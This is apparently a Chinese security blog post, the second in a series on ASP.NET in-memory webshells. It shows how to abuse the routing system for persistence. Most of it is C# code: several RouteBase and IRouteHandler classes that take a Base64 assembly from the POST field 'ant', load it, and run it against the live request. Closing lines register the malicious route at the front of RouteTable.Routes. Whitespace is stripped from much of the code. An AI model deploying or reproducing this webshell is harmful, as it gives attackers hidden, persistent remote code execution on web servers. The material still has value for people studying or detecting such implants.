ASP.NET下的内存马(2) Route内存马

Route类使你可以指定如何在ASP.NET应用程序中处理路由。你Route为要映射到的每个URL模式创建一个对象，该对象可以处理与该模式对应的请求。然后，将路由添加到Routes集合。当应用程序收到请求时，ASP.NET路由会循环访问集合中的路由，Routes以查找第一个与URL模式匹配的路由。

将Url属性设置为URL模式。URL模式由传入HTTP请求中的应用程序名称后面的段组成。例如，在URL中http://www.contoso.com/products/show/beverages ，模式适用于 products/show/beverages 。 具有三个段（如）的模式 {controller}/{action}/{id} 与 URL 匹配 http://www.contoso.com/products/show/beverages 。 每个段均由 / 字符分隔。 当段括在大括号中 ({ 和 }) 时，段会被称为 URL 参数。 ASP.NET 路由从请求中检索值并将其分配给 URL 参数。 在上面的示例中，将为 URL 参数 action 分配值 show 。 如果段未括在大括号中，则该值将被视为文本值。

将Defaults属性设置为一个RouteValueDictionary对象，该对象包含在url缺少参数时使用的值，或者设置未在url中参数化的其他值。将Constraints属性设置为RouteValueDictionary包含正则表达式或对象的值的对象IRouteConstraint。这些值用于确定参数值是否有效。

publicclass MvcApplication:System.Web.HttpApplication
{
protectedvoidApplication_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}

publicclass RouteConfig
{
publicstaticvoidRegisterRoutes(RouteCollectionroutes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name:"Default",
url:"{controller}/{action}/{id}",
defaults:new{controller="Home",action="Index",id=UrlParameter.Optional}
);
}
}

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
FieldInforequestField=
typeof(HttpRequestWrapper).GetField("_httpRequest",BindingFlags.Instance|BindingFlags.NonPublic);
HttpRequesthttpRequest=
(HttpRequest)requestField.GetValue(httpContext.Request);

FieldInforesponseField=
typeof(HttpResponseWrapper).GetField("_httpResponse",
BindingFlags.Instance|BindingFlags.NonPublic);
HttpResponsehttpResponse=
(HttpResponse)responseField.GetValue(httpContext.Response);
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(newobject[]{httpRequest,httpResponse});
httpResponse.End();
}
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}

publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}

publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
returnnewMyhandler(requestContext);
}
}

publicclass Myhandler:IHttpHandler

{
publicRequestContextRequestContext{get;privateset;}

publicMyhandler(RequestContextcontext)
{
this.RequestContext=context;
}

publicvoidProcessRequest(HttpContextcontext)
{
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
context.Response.End();
}

publicboolIsReusable
{
get{returnfalse;}
}
}

将值分配给Url属性时，在/分析URL时，字符被解释为分隔符。使用大括号({})来定义称为URL参数的变量。将URL中的匹配段的值分配给URL参数。Url未括在大括号中的属性中的任何值都将被视为文本常量。
?不允许在属性中使用该字符Url。必须通过分隔符或文本常量分隔每个URL段。可以将{{或}}用作大括号字符的转义符。

newRoute("mr6{page}",newMyRoute())

RouteCollectionroutes=RouteTable.Routes;
routes.Insert(0,(RouteBase)newMyRoute());